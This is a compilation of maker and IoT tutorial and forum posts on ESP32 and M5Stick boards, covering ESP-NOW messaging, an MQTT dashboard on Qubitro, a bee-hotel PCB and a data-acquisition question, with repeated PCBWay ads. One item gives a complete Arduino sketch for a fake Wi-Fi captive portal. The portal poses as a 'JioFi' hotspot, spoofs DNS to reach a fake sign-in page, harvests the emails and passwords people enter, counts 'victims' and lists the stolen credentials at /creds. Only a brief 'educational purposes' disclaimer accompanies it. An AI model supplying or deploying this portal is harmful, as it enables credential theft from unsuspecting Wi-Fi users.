Qubitro uplink pallet and edit the property. Here you need to replace your connection details and credentials. Next, just deploy the flow. And navigate to the /ui of the node-red server. Here you can toggle the switch to turn the lead on and off. Also, open the serial monitor and check the node-red response. Conclusion: In this tutorial, we have seen how to control the LED with Node-Red and MQTT Server.
  11. Will guide you to build a Captive Portal with M5Stick C to capture the login details. Story A Wi-Fi honeypot is a fake wireless network that is set up to lure unsuspecting users and collect their data or infect their devices with malware. It is a common technique used by hackers and cybercriminals to exploit the public’s demand for free Wi-Fi access. In this tutorial, will guide you to build a Wi-Fi honeypot with M5Stick C. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Hardware Overview - M5Stick 😄 M5StickC is a mini IoT development board powered by ESP32, a microcontroller with Wi-Fi and Bluetooth capabilities. It is a portable, easy-to-use, open-source device that can help you realize your ideas, enhance your creativity, and speed up your IoT prototyping. It has a 0.96-inch TFT color screen, a red LED, a button, a microphone, an IR transmitter, a 6-axis IMU, and a 95 mAh battery. It also supports various extensions and modules that can add more functionality to the board. You can program it using different platforms such as UIFlow, MicroPython, Arduino, or .NET nano Framework. Arduino Sketch Overview: Here is the complete Arduino sketch to initiate the Wi-Fi honeypot in the M5Stick C, it will create a free access point and once the user is connected to the access point it will ask for the user credentials. Once we get the credentials it will blink the LED and alert us. Also, we can view the captured passwords via the same access point. Here are the main Wi-Fi AP configurations, you can configure as per your need. Once the victim logged the credentials, this function will start to work. Here is the complete Arduino sketch. #include <M5StickC.h> #include <WiFi.h> #include <DNSServer.h> #include <WebServer.h> // User configuration #define SSID_NAME "JioFi L3M378" #define SUBTITLE "JioFi WiFi service." #define TITLE "Sign in:" #define BODY "Create an account to get connected to the internet." #define POST_TITLE "Validating..." #define POST_BODY "Your account is being validated. Please, wait up to 5 minutes for device connection.</br>Thank you." #define PASS_TITLE "Credentials" #define CLEAR_TITLE "Cleared" int capcount=0; int BUILTIN_LED = 10; // Init System Settings const byte HTTP_CODE = 200; const byte DNS_PORT = 53; const byte TICK_TIMER = 1000; IPAddress APIP(172, 0, 0, 1); // Gateway String Credentials = ""; unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0; DNSServer dnsServer; WebServer webServer(80); String input(String argName) { String a = webServer.arg(argName); a.replace("<", "&lt;"); a.replace(">", "&gt;"); a.substring(0, 200); return a; } String footer() { return "</div><div class=q><a>&#169; All rights reserved.</a></div>"; } String header(String t) { String a = String(SSID_NAME); String CSS = "article { background: #f2f2f2; padding: 1.3em; }" "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" "div { padding: 0.5em; }" "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; }" "label { color: #333; display: block; font-style: italic; font-weight: bold; }" "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " "textarea { width: 100%; }"; String h = "<!DOCTYPE html><html>" "<head><title>" + a + " :: " + t + "</title>" "<meta name=viewport content=\"width=device-width,initial-scale=1\">" "<style>" + CSS + "</style></head>" "<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>"; return h; } String creds() { return header(PASS_TITLE) + "<ol>" + Credentials + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer(); } String index() { return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post>" + "<b>Email:</b> <center><input type=text autocomplete=email name=email></input></center>" + "<b>Password:</b> <center><input type=password name=password></input><input type=submit value=\"Sign in\"></form></center>" + footer(); } String posted() { String email = input("email"); String password = input("password"); Credentials = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + Credentials; return header(POST_TITLE) + POST_BODY + footer(); } String clear() { String email = "<p></p>"; String password = "<p></p>"; Credentials = "<p></p>"; return header(CLEAR_TITLE) + "<div><p>The credentials list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer(); } void BLINK() { // The internal LED will blink 5 times when a password is received. int count = 0; while (count < 5) { digitalWrite(BUILTIN_LED, LOW); delay(500); digitalWrite(BUILTIN_LED, HIGH); delay(500); count = count + 1; } } void setup() { M5.begin(); M5.Lcd.setRotation(3); M5.Lcd.fillScreen(BLACK); M5.Lcd.setSwapBytes(true); M5.Lcd.setTextSize(1.5); M5.Lcd.setTextColor(TFT_RED, TFT_BLACK); M5.Lcd.setCursor(0, 10); M5.Lcd.print("M5Stick C Cap Portal"); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 25); M5.Lcd.print("WiFi IP: "); M5.Lcd.print(APIP); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 35); M5.Lcd.print("Victim Count: "); M5.Lcd.print(capcount); bootTime = lastActivity = millis(); WiFi.mode(WIFI_AP); WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); WiFi.softAP(SSID_NAME); dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP) webServer.on("/post", []() { capcount=capcount+1; webServer.send(HTTP_CODE, "text/html", posted()); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 45); M5.Lcd.print("status: "); M5.Lcd.print("Victim In"); BLINK(); M5.Lcd.fillScreen(BLACK); }); webServer.on("/creds", []() { webServer.send(HTTP_CODE, "text/html", creds()); }); webServer.on("/clear", []() { webServer.send(HTTP_CODE, "text/html", clear()); }); webServer.onNotFound([]() { lastActivity = millis(); webServer.send(HTTP_CODE, "text/html", index()); }); webServer.begin(); pinMode(BUILTIN_LED, OUTPUT); digitalWrite(BUILTIN_LED, HIGH); } void loop() { if ((millis() - lastTick) > TICK_TIMER) { lastTick = millis(); M5.Lcd.fillScreen(BLACK); M5.Lcd.setSwapBytes(true); M5.Lcd.setTextSize(1.5); M5.Lcd.setTextColor(TFT_RED, TFT_BLACK); M5.Lcd.setCursor(0, 10); M5.Lcd.print("M5Stick C Cap Portal"); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 25); M5.Lcd.print("WiFi IP: "); M5.Lcd.print(APIP); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 35); M5.Lcd.print("Victim Count: "); M5.Lcd.print(capcount); } dnsServer.processNextRequest(); webServer.handleClient(); } Deployment: Once the code is uploaded in the M5Stick C, it will show up the IP address and the victim count. then, look for the free Wi-Fi AP that we have created. Next, let's try to connect that. Once connected it will redirect you to the login page. Login page: Next, try to sign in with some credentials. 1 / 2 Here is the M5Stick C's response: If you want to see the captured passwords, open the same URL with /creds at the end. It will show all the captured passwords. If you want to clear the saved credentials, navigate to the same URL with /clear at the end. That's all, please use this only for educational purposes.
  12. One of my teammates is working on an open Hardware Project that I thought to share. The product they’re developing is a bee hotel for native bees (not honeybees)! At the SF Climate hackathon, they integrated the Particle Argon onto a PCB with solar panels, MPPC, and a PWM PIR sensor for the bees. Here’s the link to the schematics, layout and 3D. I'll add a 3D screenshot at the bottom of the post. "A little bit of background, a native bee hotel houses sedentary bees which lay their eggs in tube structures, like hollow plant stems. We want to use PIR sensors along the tubes to get bee traffic data and build a country-wide bee traffic map. Solar Cells I’ve bumped into the IXYS KXOB25 series before and loved them for their reflowability. I wanted to connect them in parallel so the only constraint was that their output voltage is less than 5V, which is the maximum input voltage of the energy harvesting IC. Energy Harvesting I chose the LTC3105EDD 15 because I’ve seen it used to maximize solar cell power output in some nanosatellite projects I’ve browsed in the past. Although it doesn’t have an actual MPPT algorithm, it has a very attractive 250mV startup voltage which can potentially increase the times of day our device will provide power (dawn, dusk, cloud cover). All this needs real world testing which is coming next week. PIR Sensors These are paired infrared transmitters and receivers. As seen in the 3D view, we’re using 2 of them per bee tube to determine which direction the bees are going (in or out of the tube). Of course, this would need to be done in firmware. To save power (because these PIR diodes are super power hungry, we added a low side MOSFET that switches all three strings of PIR diodes (they are strung in series to get 1.1V drive from a 3.3V source). In theory, we can decrease the PWM duty cycle to as low as the PIR’s rise time and set the frequency to 1Hz which would save so much power. Future Steps Here are the unknowns that we’ll be researching. I already see some good answers in the forums, but please feel free to chime in! I’ve played with Edge Impulse in the past and we want to run a small tflite model on particle hardware that would determine what type of bee is in the hotel based on a short audio sample. We also want to send this data to a central server hosted by particle; in your experience how many weeks/months would it take to setup particle cloud to get up to 100 provisioned devices sending about 50 bytes of data to a central server? It would be awesome if we can get that done quickly."
  13. ESP-NOW is a wireless communication protocol based on the data-link layer that enables the direct, quick, and low-power control of smart devices without the need for a router. Espressif defines it and can work with Wi-Fi and Bluetooth LE. ESP-NOW provides flexible and low-power data transmission to all interconnected devices. It can also be used as an independent protocol that helps with device provisioning, debugging, and firmware upgrades. ESP-NOW is a connectionless communication protocol developed by Espressif that features short packet transmission. This protocol enables multiple devices to talk to each other in an easy way. It is a fast communication protocol that can be used to exchange small messages (up to 250 bytes) between ESP32 or ESP8266 boards. ESP-NOW supports the following features: Encrypted and unencrypted unicast communication; Mixed encrypted and unencrypted peer devices; Up to 250-byte payload can be carried; Sending callback function that can be set to inform the application layer of transmission success or failure. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. How is it different from existing protocols? ESP-NOW is a wireless communication protocol that is different from Wi-Fi and Bluetooth in that it reduces the five layers of the OSI model to only one1. Additionally, ESP-NOW occupies fewer CPU and flash resources than traditional connection protocols while co-exists with Wi-Fi and Bluetooth LE. Bluetooth is used to connect short-range devices for sharing information, while Wi-Fi is used for providing high-speed internet access2. Wi-Fi provides high bandwidth because the speed of the internet is an important issue. Max Distance: The range of ESP-NOW is up to 480 meters when using the ESP-NOW protocol for bridging between multiple ESP32s1. The range can be further increased by enabling long-range ESP-NOW. When enabled, the PHY rate of ESP32 will be 512Kbps or 256Kbps. Maximum nodes: ESP-NOW supports various series of Espressif chips, providing a flexible data transmission that is suitable for connecting “one-to-many” and “many-to-many” devices. Applications: ESP-NOW is widely used in smart-home appliances, remote controlling, sensors, etc. In this tutorial, will see how to implement a basic ESP NOW communication between ESP32 Microcontrollers. Step: 1 ESPNOW communication works based on the MAC address of the nodes. So, we need to find the Mac address of our slave or receiver node. ]For that just upload the following sketch to the ESP32 board and look for the Mac address in the serial monitor. #include "WiFi.h" void setup(){ Serial.begin(115200); WiFi.mode(WIFI_MODE_STA); Serial.println(WiFi.macAddress()); } void loop(){ } Once you uploaded the code, press the EN button and wait for the serial monitor results. It will show you the Mac address. Note that. Step-2: Next, we need to prepare the transmitter, for that use this example sketch which can send multiple data types of data to the particular slave node. #include <esp_now.h> #include <WiFi.h> // REPLACE WITH YOUR RECEIVER MAC Address uint8_t broadcastAddress[] = {0x94, 0xB5, 0x55, 0x26, 0x27, 0x34}; // Must match the receiver structure typedef struct struct_message { char a[32]; int b; float c; bool d; } struct_message; // Create a struct_message called myData struct_message myData; esp_now_peer_info_t peerInfo; // callback when data is sent void OnDataSent(const uint8_t *mac_addr, esp_now_send_status_t status) { Serial.print("\r\nLast Packet Send Status:\t"); Serial.println(status == ESP_NOW_SEND_SUCCESS ? "Delivery Success" : "Delivery Fail"); } void setup() { // Init Serial Monitor Serial.begin(115200); // Set device as a Wi-Fi Station WiFi.mode(WIFI_STA); // Init ESP-NOW if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } // Once ESPNow is successfully Init, we will register for Send CB to // get the status of Trasnmitted packet esp_now_register_send_cb(OnDataSent); // Register peer memcpy(peerInfo.peer_addr, broadcastAddress, 6); peerInfo.channel = 0; peerInfo.encrypt = false; // Add peer if (esp_now_add_peer(&peerInfo) != ESP_OK){ Serial.println("Failed to add peer"); return; } } void loop() { // Set values to send strcpy(myData.a, "I'm alive"); myData.b = random(1,20); myData.c = 1.2; myData.d = false; // Send message via ESP-NOW esp_err_t result = esp_now_send(broadcastAddress, (uint8_t *) &myData, sizeof(myData)); if (result == ESP_OK) { Serial.println("Sent with success"); } else { Serial.println("Error sending the data"); } delay(2000); } Here are the serial monitor results, it show sent success but not delivered. Because we don't have the receiver. Let's try to implement the receiver. Step-3: Step-3:d example sketch which can receive the data from the master and it will print that into the serial monitor. #include <esp_now.h> #include <WiFi.h> // Structure example to receive data typedef struct struct_message { char a[32]; int b; float c; bool d; } struct_message; // Create a struct_message called myData struct_message myData; // callback function that will be executed when data is received void OnDataRecv(const uint8_t * mac, const uint8_t *incomingData, int len) { memcpy(&myData, incomingData, sizeof(myData)); Serial.print("Bytes received: "); Serial.println(len); Serial.print("Char: "); Serial.println(myData.a); Serial.print("Int: "); Serial.println(myData.b); Serial.print("Float: "); Serial.println(myData.c); Serial.print("Bool: "); Serial.println(myData.d); Serial.println(); } void setup() { // Initialize Serial Monitor Serial.begin(115200); // Set device as a Wi-Fi Station WiFi.mode(WIFI_STA); // Init ESP-NOW if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } // get recv packer info esp_now_register_recv_cb(OnDataRecv); } void loop() { } Serial monitor results. Wrap Up: We have seen how to implement the ESP NOW in ESP32 microcontroller, in upcoming tutorials will see how to transmit sensor data via ESPNOW.
  14. What is Qubitro? Qubitro is an IoT (Internet of Things) platform that provides tools and services for connecting, managing, and analyzing IoT devices and data. It provides a cloud-based platform where users can securely connect their IoT devices and collect data from sensors and actuators. It supports a wide range of communication protocols and provides device management capabilities, monitoring device data, linking with third-party webhooks, and creating rules to trigger based on conditions, etc. All of it with a Great UI ❤ Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Getting Started To get started with Qubitro, we will first need to create an account. Go to the Qubitro website (https://www.qubitro.com/) and click on the "Sign Up" button. You will be prompted to enter Full Name, Email Address,Country, and password to create your account. Once, we have created the account, we can log in from https://portal.qubitro.com/login. However, we shall automatically be logged in to our account. Create a New Project Once you have logged in, you will be prompted to create a project. Enter a name for your project and mention a description for your project. Add Devices Next, you will need to add devices to your application. Go to the Project (if not already open), there we can see a button [+ New Source]. From this section, we will have 3 major sections - 1. Communication Protocol With a prompt to choose between LoRaWAN, MQTT, & Cellular. We can choose the protocol that best suits our use-case. I choose MQTT to get started with the platform basics. And since I shall be using Arduino IDE for programming the board, I went ahead with the MQTT Broker (Qubitro has its own broker - we shall see it in the upcoming section). In case you wish to know how the Toit platform works, you can check my Tutorial on Toit.io 2. Device Details I shall be using an ESP32 Dev Board, and therefore entered the details as per the image below - 3. Credentials In the next step, we receive credentials, to connect to the MQTT Broker. We can use this detail to connect to the broker as a client - to Publish or Subscribe. Now that we have the server, port, username and password we are all ready to send data to the Qubitro Cloud. Copy these details in a safe place (We can view them later in the device settings as well though) Hardware - From Device to Cloud Once you have configured your devices, you can start collecting data. Qubitro provides a range of tools for data collection and analysis, including real-time data visualization, data logging, and data filtering. We shall upload a code on ESP32 using Arduino IDE to send data to Qubitro - #include <WiFiClientSecure.h> #include <PubSubClient.h> #include <HTTPClient.h> #include <ArduinoJson.h> These are the necessary libraries for establishing an MQTT connection, handling HTTP requests, and working with JSON data. const char* ssid = "xxxxxxxxx"; const char* password = "xxxxxxxxx"; String topic = "xxxxx"; String mqtt_server = "broker.qubitro.com"; String mqttuser = "xxxxxxxxxxxxxxxxxxxxxx"; String mqttpass = "xxxxxxxxxxxxxxxxxxxxxx"; String clientId = "xxxxxxxxxxxxxxxxxxxxxx"; These variables store the Wi-Fi credentials (ssid and password), MQTT broker server address (mqtt_server), MQTT authentication credentials (mqttuser and mqttpass), MQTT client ID (clientId), and the MQTT topic (topic) to which the data will be published. WiFiClientSecure espClient; PubSubClient client(espClient); float humidity = 0; float temp = 0; Create an instance of WiFiClientSecure and PubSubClient classes to establish a secure connection with the MQTT broker. Also, initializing default value of temperature and humidity. #define MSG_BUFFER_SIZE (500) char msg[MSG_BUFFER_SIZE]; char output[MSG_BUFFER_SIZE]; Define the size of the message buffer for storing MQTT messages. void device_setup() { // ... Wi-Fi connection setup ... } This function sets up the Wi-Fi connection by connecting to the specified Wi-Fi network (ssid and password). void reconnect() { // ... MQTT reconnection logic ... } This function handles the reconnection to the MQTT broker in case of disconnection. void setup() { // ... Initialization code ... } The setup() function is the entry point of the code. It initializes the serial communication, sets up the device, establishes a connection with the MQTT broker, and prepares the secure connection using WiFiClientSecure and PubSubClient objects. void loop() { // ... Main code loop ... } The loop() function is the main execution loop of the code. It checks the MQTT connection, publishes the simulated temperature and humidity data to the MQTT topic, and then waits for a delay of 1 second before repeating the process. Inside the loop() function, you'll notice the following steps: if (!client.connected()) checks if the MQTT client is connected. If not, it calls the reconnect() function to establish the connection. client.loop() allows the MQTT client to maintain the connection and handle any incoming messages. The temp and humidity variables are randomly generated simulated values. A JSON document is created using the ArduinoJson library to store the temperature and humidity data. The JSON document is serialized into a string format using the serializeJson() function and stored in the output variable. The client.publish() function is used to publish the serialized JSON data to the specified MQTT topic. The serialized JSON data is printed to the serial monitor using Serial.println(). A delay of 1 second is added before repeating the loop. Full version of the code available in the Code Section. Now that we have written the code, upload it to the ESP32 board and wait for it to send data to cloud. To check data, go to Device Name that you created, and check for any incoming data in the table. (refresh the table in case data not retrieved) Create Dashboard Now that we were able to fetch for real-time data from the ESP32 board and view it on the table of Qubitro. Let us use the visualization feature to plot a graph of the data. Trust me, it takes seconds to setup the whole thing. Go to Dashboards, and create a New Dashboard. Give it a name. Once created, open it and go to Edit > Add Widget > Charts. Click on the new widget > three dots (settings) > Customization. Accordingly, select the data source, chart type and colour for data variables. Follow the below images for reference, and final Graph. Data source example above Data Point example above Finally, I received the above graph based on a 30-minute data logging. If we head back to the main dashboard page, we can have a proper view, and with a view configuration, receive live data in realtime on Qubitro. In the dashboard, click on the chart widget we created, click on edit and drag it to the middle. Stretch and play with the widget according to the need. Resizing it for proper viewing. Remember to save it. If you are facing trouble with viewing the data with 4 points in the graph period, you can change it in the View Mode's configuration of the graph widget. Now, using this we can view the data of our device based on our needs! Rules to Trigger and Integration Services Finally, Qubitro allows you to integrate with other services such as Twilio, Slack, MailGun, and SendGrid. We can also use the trigger for Webhooks (RAW HTTP request) triggering, You can do this by clicking on the "Rules" tab in the Device section and selecting the service you want to integrate with. Congratulations! You have now completed the Qubitro IoT Platform documentation tutorial. We hope that this tutorial has provided you with the information you need to get started with Qubitro and create your own IoT application. If you have any questions or need further assistance, please visit the Qubitro website or contact their support team. Hurray! 🎉 We have learned another IoT Platform - Qubitro Device Data Platform esp32_mqtt_qubitro.ino
  15. Hi guys,Lovely community here. So i got into the bandwagon of the ESP32. I am planning to build an entire data acquisition built around the ESP32. Would really appreciate it much if i were to get help from all of you. It would be a learning experience for all of us. So basically here are my project details and list of components being used.A 32 Channel Data acquisition system with 30 sensors measuring strain (momentarily using a metal gage strain sensor of 120Ohm being fed to a quarter bridge circuit) and 2 temperature sensors(PT100). I would like an acquisition speed of atleast 1000Samples/Sec per channel. So here is my idea as of now.32 Sensors connected to its each wheatstones bridge. The amplifier is done using the XR18910/XR10910, which is a 16:1 bridge Mux interface with selectable gain. I have attached link https://www.exar.com/content/document.a ... rt=XR10910The XR18911 can be controlled via I2C link. it does all the amplification necessary. I will need to use 2 XR10910 or 4 XR18911(8:1 sensor interface). And then finally controlled by our LEGENDARY ESP32 which converts the analog data to digital. and with the help of wifi to transmit it to a computer where it can be collected in an excel file along with time of capture.Could you guys kindly help me out on how i am to proceed with programming of the ESP32. I would really prefer to use Arduino IDE guys, as that seems to simplify things. Also if there is any improvements that could be added to the circuit. Kindly let me know. Please let me know if you need more details(Picture attached). Thank you
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